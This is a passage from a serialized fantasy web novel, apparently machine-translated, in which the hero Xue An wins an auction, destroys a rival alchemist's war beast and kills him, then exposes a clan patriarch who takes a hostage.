    Among these shining talisman, Xue An stood proudly and said calmly: "Let''s watch and choose for yourself, these... are the prices I paid!"

 Chapter 1502： Diggers Guild

    Liang Ming stared at this scene blankly, muttering to himself: "Why is this, how can he have so many runes that have never appeared before?"


    As for Wen Jinkui, he was almost numb by shock.


    To know that a brand-new rune that has never appeared in front of the world as long as one is precious enough.


    But he never expected that the boy in white clothes in front of him was like a clearance sale, and he had thrown out so many different runes.


    Not to mention Wen Jinkui, even those big auctioneers in the alliance who have been stationed in big cities and have seen countless peerless treasures have never seen them.


    "Huh? Is this offer enough?" Xue An raised his eyebrows slightly and said lightly at Wen Jinkui.


    "Enough! Of course it is enough! And if it is based on price, only three pieces are enough!" Wen Jinkui replied honestly.


    Xue An smiled when he heard the words, then turned his head to look at Xiang Liang Ming, "How about it? Will you continue to bid with me?"


    Liang Ming''s face gradually became gloomy, staring at Xue An, and said coldly: "I didn''t expect me to look away! But don''t be proud, let''s just wait and see!"


    After that, Liang Ming suddenly turned around and left angrily.


    Xue An just smiled at this, then turned around and said to Wen Jinkui: "Well, the only person bidding with me has now withdrawn. It''s time to deal with the matter between us!"


    "Of course, adults, please come with me!" Wen Jinkui said with a bow.


    Xue An nodded, and then walked towards the backstage of the auction venue.


    Wen Jinkui gave a wink, and the strong men stepped forward again, repacked the alchemy armor, and then carried it away with difficulty.


    After Xue An and Wen Jinkui and his party left, the audience was thunderous.


    Countless people whispered and couldn''t wait to discuss the whole matter with others.


    "Unexpectedly, today''s auction will be so exciting! Alchemy armor, peerless runes, any of these are rare treasures!" Someone exclaimed with aftertaste.


    "Who said no, it''s no regrets to have the honor to see such a scene!" someone next to him echoed.


    "Hey, do you recognize the boy in white who made this offer?" someone asked.


    "I haven''t seen it, but he seems to have come in with Liu Jingyi, the daughter of the Liu family!"


    "Tsk tusk, could it be that the Liu family is behind this matter?"


    "It''s absolutely impossible, how could the Liu family have such financial resources!"


    "Then who is this boy?"


    In the heated discussion, someone suddenly sneered, "No matter who he is, it is estimated that there will be no good end. After all, he offended today, but the famous Liang Ming!"


    Hearing these words, many people were a little silent.


    Yes!


    This Liang Ming is considered a leader even among alchemists, especially his master, who is extremely difficult!


    Today he was bound to win this alchemy armor, but he was robbed of love by this white-clothed young man who did not know where he appeared. One can imagine how angry he should be.


    This matter is definitely impossible to be kind!


    This idea also lingered in Zhuang Linyan''s heart.


    In fact, from the moment Xue An started bidding, Zhuang Linyan''s heart was ready.


    She is a very pragmatic person, so despite the tremors in her heart, she calmed down quickly, and then whispered something in the ear of one of her men.


    The subordinate nodded and immediately turned and left.


    While Zhuang Linyan sat in her seat and watched Xue An follow Wen Jinkui to the backstage, her face gradually showed firmness.


    Anyway, since it happened, face it bravely! This can be regarded as my own reward to the adults!


    Just when Zhuang Linyan secretly made up his mind, there was another person in the crowd who was at a loss.


    Liu Jingyi no longer knew how to describe her mood at the moment.


    Originally out of the self-willedness of the girl''s coquettish psychology, I did not expect to encounter such a thing.


    Thinking about her unrealistic ideas just now, Liu Jingyi was ashamed.


    But it also made her more curious about Xue An.


    This guy is by no means an ordinary runaway villain, then who is he?


    At this moment.


    A housekeeper hurried over, and then whispered in Liu Jingyi''s ear: "Miss, the master wants you to come over, he wants to ask you something!"


    Liu Jingyi naturally knew that her father called herself over, and she must have asked about the origin of Xue An.


    So she took a deep breath and said slowly: "Okay!"


    Just as the whole auction venue was in turmoil.


    In an exquisite but not overly luxurious room in the backstage, Xue An sat on the front seat, quietly watching Wen Jinkui continuously communicate with the seller through the alchemy contactor, and then communicated with the seller. Difficult selection in the seal.


    Finally, Wen Jinkui, who was about to be picky, reluctantly picked out two from the countless talisman, and combined with the gear Xue An gave before, just enough to make up the three talisman needed for the transaction.


    Xue An smiled slightly when he saw it, and with a wave of his hand, the three talisman flew in front of Wen Jinkui, while the rest disappeared after a flash.


    There was a look of sadness in Wen Jinkui''s eyes.


    No matter who it is, as long as he has studied alchemy, he will feel very sad when he sees so many unprecedented talisman disappear in front of him.


    Fortunately, the harvest this time is also quite generous.


    The prices of the three Talismans that have never appeared before have far exceeded the seller''s expectations. Even after deducting the commission from the auction alliance, Wen Jinkui himself will get a lot of money.


    More importantly, he will leave a strong mark in his career because of this transaction, and he may even be promoted to a master auctioneer.


    This all made Wen Jinkui more respect for Xue An.


    After all, being able to take out so many talisman seals at hand, this teenager is likely to have an unfathomable background but Wen Jinkui is still a little bit hesitant.


    "Mr. Wen has anything else to say?" Xue An said lightly.


    Wen Jinkui arched his hand, "Mr. Xue, you can just call me Jinkui! There are indeed two things I want to tell you!"


    "First of all, it is this transaction. The seller is very satisfied with the talisman seals you provided. They also know that you own a lot of talisman seals, so they want to have a long-term cooperation with you!"


    "Cooperation?" Xue An said lightly.


    "Yes! Just cooperation! Adults may not know who the seller is this time!"


    "Oh, who is it?"


    "Originally in the auction alliance, the identity of the seller was absolutely confidential, but this time the seller personally authorized it, so it is not a violation! This time the seller is from the Trace Digger Association!"


    "Trace Digger Guild?" Xue An was taken aback for a moment.


    "Yes!"

 Chapter 1503： Adults be careful

    Xue An''s expression became slightly weird.


    It''s been a while since I came to this world, Xue An naturally knew what the Tracer Guild was.


    There are countless ruins buried in the ground of this world. These ruins originate from the heyday of ancient civilization and contain countless rare treasures.


    But because of the age, almost most of them are buried in extremely dangerous underground.


    But dangers often coexist with benefits.


    In order to obtain the treasures in the ancient ruins, countless desperadoes took risks and went deep into the underground ruins.


    Most of these people are dead, but there are also a few lucky ones who have found the treasure and gradually become stronger.


    Over time, these people gradually formed a guild, this guild of tracers.


    And played a banner to reproduce the glory of alchemy that year.


    But in Xue An''s view, this guild of tracers is somewhat similar to the grave robbers on earth.


    But this does not hinder the strength of the Trace Digger Guild.


    It''s not surprising that this alchemy armor came from their hands.


    Xue An was thinking about this in his heart. Wen Jinkui said when he saw Xue An not speaking, he thought he had any concerns.


    "My lord, rest assured, this digger''s guild has a very good cooperative relationship with our auction alliance. They are also the group of people who keep their promises most, but they are not understood by the world! You don''t have to worry at all!"


    Xue An smiled slightly when he heard the words, "Worry? Why should I worry?"


    "Uh...you..." Wen Jinkui just wanted to say something.


    Xue An said lightly: "You can tell the people in the Trail Diggers Guild now that I want as much as the alchemy armor that is auctioned off today! If it is good, I can still pay a higher price!"


    As he said, another golden seal appeared in Xue An''s hand, spinning quietly.


    Wen Jinkui''s eyes almost didn''t stare out, because this talisman seal was obviously stronger than the previous one.


    How many hole cards are still hidden in this young man''s hand? Wen Jinkui cried silently in his heart.


    But he didn''t know that these characters were just useless to Xue An, and it was a shame to lose it.


    Because these characters were looted from the gang called Wan Fu Ting when Xue An was in the city of punishment.


    At that time, Xue An swept away all the talisman that had been accumulated for ten thousand years in the Wanfu Pavilion, and did not leave them even one.


    However, although these talismans are very subtle and unusual, they are at most a collection for Xue An.


    After all, even the character seals that Xue An described casually are much stronger than these.


    But I didn''t expect these characters to come in handy this time.


    In fact, the lines of these symbols are not so powerful, but the most important thing is to provide a brand new idea and direction for the declining alchemy.


    This is also the value of these Fuluos.


    Wen Jinkui went to another room and communicated with the Tracer''s Guild for another quarter of an hour before returning to see Xue An.


    "My lord, there is no problem at the Trail Digger Guild, and they will do their best to find these lost ancient armor!"


    "Okay! Then I am waiting for their good news!" Xue An smiled.


    Wen Jinkui took out another token and handed it to Xue An respectfully.


    "Sir, this is the premium VIP card of our auction. With it, not only can you get the highest level of courtesy in the auction venues of any city, it also has the function of notification messages. If there is what you need in the auction alliance When something appears, it will notify you as soon as possible!"


    Xue An heard the word and took the token, and saw a small box on it. There was a text made up of faint light in the box.


    "The Nanhai City Auction will be held tomorrow, when there will be ancient diving alchemy vessels, so stay tuned!"


    "A fragment of ancient alchemy notes will appear at the auction of Yushan City, and those interested can bid!"


    News like this kept passing through that box.


    Xue An was stunned when he saw this, and immediately smiled: "It''s interesting, but isn''t this an alchemy phone?"


    "Phone?" Wen Jinkui was startled slightly.


    Xue An smiled, "It''s nothing, it''s just a specialty of my hometown. With that thing, you can talk to people thousands of miles away, video! And you can receive all kinds of information, even Can be used to play games!"


    Wen Jinkui''s eyes gradually widened, and then he exclaimed: "You can actually spread images? Is it so magical? Wouldn''t it be expensive?"


    "Expensive? Not even that! Those are very cheap, and any ordinary person can afford it!"


    Hearing Xue An��s words, Wen Jinkui became more and more shocked, ��Can even an ordinary person own an artifact that can transmit images and sounds?��


    "Yes, some people still have several! And most people will get a new one after a year!"


    "Oh my God!" Wen Jinkui was shocked, "I thought that the communication token that our auction alliance spent countless efforts to develop is a magical tool, but compared to the mobile phone described by the adult, it is still inferior. Mud!"


    Xue An just smiled at this, and did not speak.


    But what Xue An didn''t know was that at this moment his background was once again elevated in Wen Jinkui''s mind.


    It has even been equated with those descendants from extremely secret places.


    As a result, Wen Jinkui''s attitude became more and more respectful.


    "My lord, this alchemy armor is very heavy, or I will send a few people back to you!" Wen Jinkui said.


    "Heavy? Haha, no need!" As he said, Xue An stepped to the front of the box, opened the lid, and when he bent over, he took out the pale golden token with his hand, and even threw it in the air few times.


    "Is this too heavy?"


    This scene caused Wen Jinkui''s mouth to open and then wisely closed his mouth.


    "Okay, the matter is over, I''m leaving!" Xue An turned around and left.


    Wen Jinkui stepped forward anxiously, "My lord, please stay!"


    "Is there anything else?" Xue An stopped and asked.


    Wen Jinkui leaned forward, lowered his voice, and said mysteriously, "My lord, although there are some things I shouldn''t say, I still want to remind you that you must be careful of that Liang Ming!"


    "Huh?" Xue An raised his eyebrows slightly, and asked with a smile, "Why should you be careful about him?"


    "My lord, I know you are strong, but Liang Ming is not an ordinary person, don''t think he is just an alchemist, but his master is not an ordinary person, he is a veritable alchemist!"


    "This Liang Ming has a good talent, and he is highly regarded by the alchemist master, and he has even regarded him as a heir to the mantle! This time he came to Bluestone City from far away, and what he wanted was naturally this alchemy armor!"

 Chapter 1504： Nice view, a good place to kill...

    "But now it is owned by the adults, but Liang Ming will never let it go. Now you are in the auction venue, he dare not make a second, but if you go out..."


    Wen Jinkui hesitated for a moment, and then whispered: "God knows what strange things his master gave him, so you still have to be careful! In fact, if you don''t dislike it, you can be at my auction venue. Stay here, wait a few days before the limelight passes!"


    Wen Jinkui''s retention and warnings really came from the heart, because he knew Liang Ming and naturally also knew Liang Ming''s character, so he said so.


    Unexpectedly, Xue An just smiled after listening, and then said lightly: "Okay, I know, thank you for your kindness, but I really want to see this Liang Ming''s method!"


    After all, Xue An didn''t hesitate anymore and left the backstage of the venue in stride.


    Wen Jinkui looked at his distant back, sighed, then shook his head, and his opponent whispered, "Pay attention to the changes around you, and let me know if anything happens!"


    "Yes!"


    At this time, the venue was still very lively, and many people did not leave.


    So after seeing Xue An strode out of the background, many people''s faces became very strange.


    Xue An turned a blind eye to this, and walked straight to the previous seat. At this time, Zhuang Linyan was also ready and stood up to meet him.


    "grown ups!"


    Xue An nodded, "Everything is done, let''s go!"


    "Yes!"


    After that, Xue An turned and walked out.


    Zhuang Linyan was taken aback for a moment. Obviously, she didn''t expect Xue An to leave so simply and neatly, but after a slight loss of consciousness, she immediately chased after her.


    At the same time, everyone in the field looked at Xue An''s leaving back, and the discussion became even louder.


    "Tsk tusk, really a guy who doesn''t know how to live or die! He didn''t avoid the limelight, but left at this time. Do you think you have a long life?" Someone sneered.


    "Yeah! I don''t know how to act low-key with a lot of treasure, I really don''t know how to die!" someone next to him echoed.


    "And it''s not just that alchemist, but in the present venue, I don''t know how many people have already moved their minds!"


    really!


    When Xue An turned and left.


    Many people stood up one after another, and left the meeting without moving expressions.


    Such a scene naturally fell into the eyes of Liu Zhang in the box.


    In fact, after Xue An came out from the backstage, Liu Zhang''s eyes never left him.


    Especially when he saw that Zhuang Linyan followed Xue An step by step and left with him, a cold light flashed in his eyes.


    Through the information provided by his daughter Liu Jingyi, Liu Zhang already knew that Xue An had come with Zhuang Linyan.


    Combined with the sudden changes in the outer city before, Xue An''s identity immediately became very suspicious.


    In particular, Liu Jingyi said that Xue Annai was a rogue villain, which further confirmed Liu Zhang''s guess.


    No wonder Zhuang Linyan, who has always been at a disadvantage, suddenly comes back!


    It turned out to be a strong aid!


    Unfortunately, your strong support this time may be unlucky!


    Especially this guy didn''t know how to hide his powers and bide his time after he obtained a great treasure. Instead, he left in front of everyone in a carefree manner.


    This naturally made Liu Zhang sneer full of heart.


    Suddenly, Liu Zhang drank the drink in the glass, stood up and shouted in a deep voice, "Is everything arranged?"


    "Homecoming Lord, everything has been arranged!"


    "Go! I want to see, what the **** is this guy who messed up the outer city!"


    "Yes!"


    But just as Liu Zhang''s people were moving when they heard the wind, at the entrance of the venue, a dark shadow quietly followed.


    This black shadow is Liu Jingyi who should have been sent back to Liu''s house.


    At this moment, she looked uneasy, and her heart was full of ominous premonitions.


    She is not a fool.


    When talking to her father about the passing, she noticed the flash of killing in Liu Zhang''s eyes.


    This feeling made her feel regretful in her heart, for fear that it would hurt her good friend Zhuang Linyan.


    That''s why she did not leave, but hid in a corner at the entrance of the venue.


    When she saw her father leading a group of people out of the venue, she followed carefully.


    I hope everything is my own random guess, my good sister Lin Yan, don''t have anything to do!


    Outside the venue at the moment, the moon is in the middle of the sky, and the crimson light sheds the ground, covering everything with a hazy veil.


    Those who came out of the auction venue silently followed Xue An and Zhuang Linyan.


    They are all waiting for the opportunity.


    But at this moment, Liu Zhang led a group of people to catch up.


    Many people couldn''t help but hesitate.


    Liu Zhang''s power is very strong, and they don''t want to establish a strong enemy because of this, so many people began to withdraw gradually.


    But there are still many people persevering behind, like a poisonous snake in the dark, spying on the timing.


    So such a spectacle appeared in the bluestone inner city under the moon night.


    In front is a man and a woman walking.


    Not far behind, a group of silent people followed closely.


    The atmosphere became more and more serious, and only the messy footsteps of people echoed in the darkness.


    Zhuang Linyan''s face gradually turned pale, she couldn''t help but walk a few steps quickly, came to Xue An''s side, and whispered: "My lord, behind..."


    Xue An smiled slightly, but didn''t look back at all. He just said faintly: "The moon is so beautiful, and there are so many people who are willing to walk with us, which is not bad!"


    Zhuang Linyan was startled slightly, and nodded immediately.


    "understand!"


    Then he went on for a while.


    Just as the crowd following began to become restless, there was another dense footsteps from a distance.


    Immediately afterwards, I saw in the darkness, one by one began to emerge.


    After seeing the people coming, Zhuang Linyan''s expression was a loose.


    Because it was her people who came here, so many people seemed to have occupied a whole street.


    "Sister Zhuang, sir!" These men in Tsing Yi greeted one after another.


    This kind of momentum naturally made many people who followed him feel embarrassed.


    Soon, many people took the initiative to withdraw from the pursuit.


    Only Liu Zhang remained silent, stopped in the distant darkness and watched quietly.


    At this time, Xue An glanced at these people who came, and then smiled faintly at Zhuang Linyan.


    "This is all arranged by you?"


    Zhuang Linyan nodded and said solemnly: "Yes!"


    Xue An didn''t say anything, but just turned around and looked at it. Although he stopped, he still hid in the darkness and spied on the people here, with a ridiculous expression on his face.


    "Don''t worry, you have to eat a bite, everyone has to kill one by one!"


    Having said that, Xue An raised his head and looked at the ruins of a tall building not far away that had been overwhelmed for the most part, but still stood tall, and said lightly.


    "Come out! The scenery here is nice, it''s a good place to kill!"

 Chapter 1505： The fog of beasts, no one can kill

    Words fall.


    Only a cold snort came from the darkness.


    "Hmph, kid, you really have some strength, you can see through my disguise!"


    Following the voice, I saw a surging in the darkness, and then I saw Liang Ming stepping on a strangely shaped, but without any sound, aircraft appeared high in the sky.


    now.


    Liang Ming''s face was full of cold killing intent, and he smiled coldly at Xue An.


    "And what you said just now is good, this place is really suitable for killing!"


    After seeing Liang Ming appearing, everyone who had been chasing Xue An backed away in horror.


    Only Liu Zhang took a few steps back with a sneer.


    Because he had already expected it.


    The reason why he came with him was not mainly because of the alchemy armor, but more importantly, he hoped that the boy in white who didn''t know where to emerge would die as soon as possible.


    After all, his appearance has already broken the balance of the outer city and indirectly threatened his safety.


    And he also knew very well that this Liang Ming would definitely not give up.


    So here, he purely wanted to sit on the mountain and watch the tiger fight.


    Of course, if you happen to get that treasure again, it would be even more perfect.


    at the same time.


    Xue An looked at Liang Ming and suddenly laughed.


    "and then?"


    For some reason, when he saw the smile on Xue An''s face, Liang Ming felt that his scalp was numb, and his hairs were erect.


    But soon, this feeling was overwhelmed by greater anger, because he felt that he seemed to have been ridiculed by this white-clothed boy.


    Therefore he roared, "Stop the mystery, hand over the alchemy armor and the runes, I can spare your life, otherwise..."


    Before Liang Ming could finish talking about these scenes, Xue An waved his hand, and then said calmly, "Do it!"


    "Huh?" Liang Ming was taken aback.


    "I said let''s do it! After all, everyone is very busy, so don''t talk nonsense. Do it early, and I can go home to sleep after the fight!" Xue An said lazily.


    This attitude immediately angered Liang Ming.


    "Well, since you are so anxious to die, then I will send you on the road!" Liang Ming roared and waved his hand sharply.


    Seeing that the moonlight that was originally shining in the sky suddenly disappeared, a mist completely enveloped the entire block.


    Everyone was taken aback for a moment, and they still didn''t understand what happened.


    Zhuang Linyan was surprised to find that Xue Anye, who was standing in front of her before, had disappeared.


    This can''t help but shock Zhuang Linyan.


    At this moment, I saw Liang Ming stepping out of the mist, his face full of complacency and ridicule.


    "It''s really a guy who doesn''t know the heights of the sky! But it''s an honor for you to die under the skills of my master!"


    At this time, the mist around everyone began to recede behind Liang Ming.


    In an instant, everything around him reappeared, but the street behind Liang Ming was still blocked by a dense and murderous fog.


    Until then, someone trembled and shouted: "War beast...the mist of the beast! It''s the mist of the beast!"


    There was panic in the voice.


    The complacency on Liang Ming''s face became thicker and he nodded and smiled: "Yes, it is the mist of battle beasts!"


    Speaking of this, Liang Ming''s face showed a fanatical admiration, "Only the unparalleled Master Master can develop this kind of power! And this guy actually wants to fight me, he is looking for death!"


    "What the **** did you do to my sir?" It was only then that Zhuang Linyan woke up from the shock and roared angrily.


    Liang Ming glanced at Zhuang Linyan coldly, and then sneered, "Your lord? Oh, did you mean that boy just now? It''s a pity, if you guessed correctly, he is now dead!"


    "No...impossible! Your lord will not die!" Zhuang Linyan muttered to herself pale.


    "Haha, do you think that if someone enters the mist of my master''s battle beasts, will anyone still be alive?" Liang Ming''s face was full of sarcasm.


    Zhuang Linyan''s heart gradually sank.


    Of course she knew Xue An was very good.


    But this time he was facing an alchemist with an extremely powerful background!


    Especially this fog of war beasts, that is the existence in the legend, extremely tyrannical.


    At this moment.


    Suddenly a suppressed roar came from the mist behind Liang Ming, mixed with the sound of flesh and blood being torn apart.


    The earth trembling with this sound made everyone''s complexion pale.


    Liang Ming laughed extremely arrogantly.


    "Have you heard? That is my beast biting this guy''s body. Soon, he will become the food in the beast''s belly, and this will be his final contribution! Hahahahaha!"


    Amid the laughter, a scream filled with infinite horror suddenly came from the mist, and the ground trembled more intensely.


    It''s as if something is struggling with extreme fear.


    The smile on Liang Ming''s face became more and more wanton, "Hahahaha, have you seen it! This is the end of the fight against me, I guess this guy has been scared to cry now!"


    But as soon as his voice fell, in the mist behind him, something suddenly flew out, and then fell to the ground with a clang, making a metallic echo.


    Everyone looked around.


    On the ground, there was a huge claw made of metal.


    There was also a mutilated arm attached to the giant claw.


    The shape of the whole stumped arm and giant claw is extremely strange, as if being held by a person and twisted in a circle, there is a shocking fingerprint on it.


    Seeing this remnant arm, Liang Ming, who was still very proud just now, turned pale instantly.


    The whole body was trembling slightly.


    He naturally recognized this stumped arm, which was clearly a component of the war beast that Master had rewarded him.


    But the question is... how does it appear here?


    Just as he was full of suspicion, the ground began to tremble violently again.


    The magnitude of the tremor was so great that the fog that enveloped a whole street began to shake.


    At this moment, only someone yelled in a trembling voice: "There is...someone!"


    Everyone looked up after hearing this.


    really!


    I saw a figure gradually emerged in the mist.


    The figure walked very slowly, and it seemed to be dragging something in his hand.


    And because of this, every time he takes a step, the ground will tremble a bit because of UU reading .


    Boom! Boom! Boom!


    After a few thunderous bangs, the fog of war beasts suddenly began to shrink.


    Immediately afterwards, I saw a white figure fluttering out slowly with a huge tail in his hand.


    This is a huge mechanical beast, but at the moment it looks utterly miserable.


    The whole body is covered with deep fist marks, many components have been destroyed by life, and thick oil has flowed out.


    The war beast was long dead, only the tail was held by Xue An, and it was dragged out step by step, leaving a deep dent on the ground.


    at last.


    Xue An walked to the court, threw away the tail he was holding in his hand, patted his hands, and then smiled at the dumbfounded Liang Ming.


    "Is there any such thing? If you have one, let''s go together. It''s fun!"

 Chapter 1506： Havent they all given up? Do you still want...

    Liang Ming stared at the shattered war beast on the ground with a blank expression.


    died?


    Master Master has worked so hard to study the ancient war beasts that have been developed for a lifetime, but it is so dead?


    How is this possible?


    We must know that a beast is powerful enough to slaughter a city.


    From entering the fog to the boy''s reappearance, it only took a quarter of an hour.


    If this is true, how strong should this young man be?


    This made him shudder violently, awake from the confusion, and then looked at Xue An with a complex expression.


    "who are you?"


    This question is also a common question in the hearts of everyone in the audience.


    Xue An laughed when he heard the words.


    "I just remembered asking who I am now, don''t you think it''s too late?"


    Liang Ming took a deep breath, took a deep look at Xue An, and finally bowed his head.


    "I lost, but you remember, this doesn''t mean that Master''s mechanical beast is not your opponent, it''s just that I carelessly! So..."


    Liang Ming raised his head abruptly, and said with excitement: "No matter who you are, I will report this matter to Master when I return. I will naturally explain it to you at that time!"


    After all, Liang Ming turned around and left.


    Xue An said slowly: "Hold on!"


    Liang Ming''s figure stopped abruptly, then slowly turned around and looked at Xue An coldly, "What? Is there anything else?"


    Xue An shook his finger, made a crisp sound, and said in a leisurely tone: "After fighting for a long time, I even used the beast to kill me, but now I want to go so lightly?"


    "What do you mean? What else do you want? Didn''t I have already given up?" Liang Ming said with a pale expression of excitement.


    "Give up? Haha..." Xue An smiled coldly, and Huo Ran raised his eyes, his eyes filled with indifference.


    "Who do you think you are worthy of surrendering to me?"


    Liang Ming laughed furiously, his laughter was filled with infinite resentment, "Boy, I admit that you do have some strength, but don''t forget, I am an official alchemist in the Tower of Truth, and my master You are also a master alchemist, you..."


    Xue An interrupted him directly, "Master Alchemist? Is it great?"


    "Of course!" Liang Ming looked arrogant, "My master is pedantic in the existence of heavens and humans, and he is a unique king in the alchemy field. Even this war beast was developed by his own hands. "


    Xue An glanced at the corpse of the battle beast on the ground and suddenly smiled, "I''m embarrassed to say that I developed it by myself?"


    "What did you say?" Liang Ming was furious.


    But as soon as the voice fell, Xue An had already appeared in front of him, then raised his hand and grabbed his neck, Shengsheng lifted it into the air.


    This series of changes happened extremely quickly. Many people only felt that there was a flower in front of them, and then they were shocked to find that Liang Ming, who had just been arrogant, had been pinched by the white-clothed boy and lifted into the air.


    Liang Ming couldn''t believe it even more, thinking about struggling, but only then did he realize that the hands of this white-clothed boy were really like cast iron, and any struggle could not shake it.


    On the contrary, it is getting tighter.


    In the end, even Liang Ming''s complexion turned purple.


    This also made Liang Ming''s eyes a trace of real fear.


    Even if he lost before, he had never been so panicked.


    Because as far as he is used to being arrogant, no one has ever dared to attack him.


    Because, standing behind him is a master alchemist!


    Unexpectedly, this young man in white would not play cards according to his routine.


    So when he faced Xue An''s calm eyes, his hair was even more straight, and he wanted to say something, but he could only make chuckles.


    Xue An said indifferently: "I don''t care who your master is. Since you killed me before, I''m sorry, I can only send you on the road! Because I am a person with clear grievances!"


    Liang Ming''s eyes protruded from the huge pressure between his neck, like a toad, bloodshot over his eyes, looking at Xue An with infinite horror.


    Xue An smiled slightly, "By the way, and your master! Since he indulges you so arrogantly, then he naturally deserves to die! So don''t worry, I will send you master and apprentice together soon! Goodbye!"


    After saying this, before Liang Ming could react, Xue An''s fingers slammed hard.


    Bang!


    Liang Ming was like an opened can of meat, his head burst out by the huge pressure.


    Then Xue An let go.


    The body fell to the ground with a muffled sound.


    The blood flowed silently, emitting a blurry brilliance under the reflection of the crimson moonlight.


    Everyone''s eyes became dull.


    Liang Ming is dead!


    This boy in white actually killed him?


    Doesn''t he know the consequences of doing this?


    Many people are horrified and shocked, with only one thought in their minds.


    Something happened!


    After all, the alchemy master is extremely short-sighted in the rumors. If he knew that his descendants were killed, he would not know how crazy it would be!


    At that time, it is likely to invite endless killings!


    Xue An, after doing all this, still wins snow in white, without even a trace of blood on his body.


    He patted his hands lightly, and then raised his head and smiled at the shivering crowd hiding in the dark corner.


    "Very good picture, right?"


    When facing Xue An''s smile, everyone felt that their hair was standing upright, and the whole person became stiff from fear.


    "I know why you are here. In fact, desire is not wrong, but if you don''t know awe, it is stupid greedDo you understand this truth?"


    No one dared to speak, everyone listened silently, and many people''s faces were already covered with cold sweat.


    Some people hiding in the shadows wanted to leave, but then they realized to their horror that they couldn''t even move.


    Everyone is like a prey being watched by a natural enemy, standing tremblingly on the spot, waiting for the arrival of the final destiny.


    Liu Zhang is no exception, and even because he stands farther ahead, the fear from the heart becomes more intense.


    This made his eyes show infinite horror, and he secretly prayed in his heart, hoping that the white-clothed boy could ignore his existence.


    It''s a pity that the gods he believed in had abandoned him without hesitation after knowing that the other party was Xue An!


    Xue An looked around the audience, finally fixed his gaze in the corner where Liu Zhang was, and then smiled slightly.


    "Patriarch Liu, I did not die in Liang Ming''s hands as you wished. Do you feel disappointed about this?"

 Chapter 1507： Let me go, what do you think?

    Liu Zhang''s pupils instantly shrank to the size of a needle tip.


    Because he didn''t expect Xue An to recognize himself, and he broke his inner thoughts in a word.


    But as a big man who has stood in the bluestone inner city for many years and has not fallen, his reaction speed is not unpleasant.


    I saw that he suppressed the fear in his heart, slowly walked out of the shadow, came to the court, and then gave a salute to Xue Anshen.


    "Liu Zhang, I have seen an adult!"


    Xue An didn''t respond, just standing and watching quietly.


    Liu Zhang bent down and stood there, a thin layer of sweat appeared on his deeply buried face.


    It was a cold sweat oozing out of extreme fear.


    And after the crowd, Liu Jingyi, who also witnessed the whole process, felt her heart clenched instantly after seeing this scene.


    What does Xue An want to do?


    Why does he mention his father?


    Just when Liu Jingyi was puzzled.


    at last!


    A cold smile appeared on Xue An''s face, then turned to look at Zhuang Linyan.


    "Do you recognize him?"


    Zhuang Linyan was startled, then nodded, "Of course I recognize it!"


    In fact, Zhuang Linyan was also very confused at this moment, and she didn''t understand what Xue An wanted to do.


    Although she did not have a good impression of Liu Zhang, she felt that his city was too deep and too gloomy.


    But because he is the father of a good friend of his own, Zhuang Linyan still maintains the respect of a junior in many cases.


    "Then do you want to know how your brother died?" Xue An said lightly.


    When these words came out, Zhuang Linyan''s expression changed suddenly, while Liu Zhang was shocked and almost fell to the ground.


    "My lord, you...what do you mean by this?" Zhuang Linyan asked tremblingly.


    Xue An turned his head to look at Liu Zhang who was already shaking, and said lightly: "It''s meaningless, I just want to tell you that the man behind the death of your brother is not someone else, it is your good friend''s father!"


    boom!


    There was a commotion in the audience, and Zhuang Linyan''s pupils instantly shrank to the size of a pinpoint, as if something had exploded in his mind, and his brain was blank.


    As for Liu Zhang, he staggered and almost fell to the ground, then raised his head and looked at Xue An with horror.


    Xue An smiled, "Do you not understand how I knew these secrets? Very simple! When I killed Cao Gang before, I found some memories in his mind, and some of them happened to be wonderful Picture! Do you need me to tell you one by one? Patriarch Liu?"


    Liu Zhang''s eyes gradually dimmed, and he finally lowered his head slumpedly, and said weakly, "No need! I admit, I did the thing!"


    boom!


    Liu Jingyi was so shocked by these words that she took a few steps back until she leaned against the wall before she could barely stand firm.


    No... impossible! None of this is true! Liu Jingyi shouted silently in her heart.


    At this moment, Zhuang Linyan had already rushed forward frantically.


    "Liu, you bastard, I want to avenge my brother!"


    But at this moment, Liu Jingyi suddenly woke up, and then shouted, "Sister Lin Yan, don''t!"


    With that, she rushed forward desperately and directly blocked her father behind her.


    At this moment, Zhuang Linyan is on the verge of losing control!


    She has never let go of her brother''s death, and once vowed to avenge her brother.


    Now that she knew who the culprit was, she was naturally extremely excited and angry.


    But when he saw Liu Jingyi with tears standing in front of her, Zhuang Linyan was stunned.


    She has a very good relationship with Liu Jingyi!


    Liu Jingyi spent the difficult days when she just lost her brother.


    But in a blink of an eye, a good friend who talked about everything became the daughter of a brother and an enemy.


    This is simply a great irony.


    In this regard, Zhuang Linyan suddenly felt a deep weakness.


    Xue An laughed at this moment.


    "Patriarch Liu, when you let your daughter get acquainted with Zhuang Linyan and developed into good friends, did you think that there would be such a day?"


    what?


    Now even Liu Jingyi was stunned.


    What do this boy''s words mean?


    Could it be said that the acquaintance between herself and Lin Yan was arranged by her father?


    No... this is absolutely impossible!


    But when Liu Jingyi remembered her "accidental" acquaintance with Zhuang Linyan and her father''s encouragement and even connivance of this friendship, her heart could not help but sink.


    Is everything a trap that someone else has already designed?


    So Liu Jingyi looked at Liu Zhang with tears on her face, "Father, this is not the case, right?"


    Standing there with a gloomy expression, Liu Zhang suddenly sighed.


    "Jing Yi, this adult is right! The acquaintance between you and Zhuang Linyan was indeed designed by me! I''m sorry, my father used you in this matter!"


    Liu Jingyi''s tears fell tentatively, "It won''t...it won''t be like this..."


    Liu Zhang looked at his daughter apologetically, and whispered: "Jing Yi, you get out of the way first, I have a few words to say to Zhuang Linyan!"


    Liu Jingyi gave way to the road with a blank face, Zhuang Linyan''s face was pale, and she came to Liu Zhang in a few steps.


    "Liu, what else do you want to say?"


    Liu Zhang smiled bitterly, "Miss Zhuang, what was wrong in the beginning is wrong. I won''t explain too much, but your brother left a few words before he died. I want to tell you now!"


    Zhuang Linyan was shocked, "What did my brother leave behind?"


    Liu Zhang nodded.


    Zhuang Linyan couldn''t wait to take a few steps forward, "Tell me, my brother said something..."


    But just after the distance between the two was narrowed again, Liu Zhang suddenly violently violently strangled Zhuang Linyan''s throat, then hid his figure behind, shouting.


    "Don''t move, or you will all die!"


    With that said, he held up a red bead all over the body it was a thunderball! "Someone screamed when they saw it.


    The Lei Boom Pearl is a powerful killer, and depending on the size of the bead in Liu Zhang''s hand, once it explodes, it will be powerful enough to completely flatten several streets in a radius.


    As for the people present, naturally they have to be buried with them.


    At this time, everyone in the audience turned pale.


    Only Zhuang Linyan was frightened and angry, trying to break away from Liu Zhang''s control.


    But helpless, her strength is not Liu Zhang''s opponent at all.


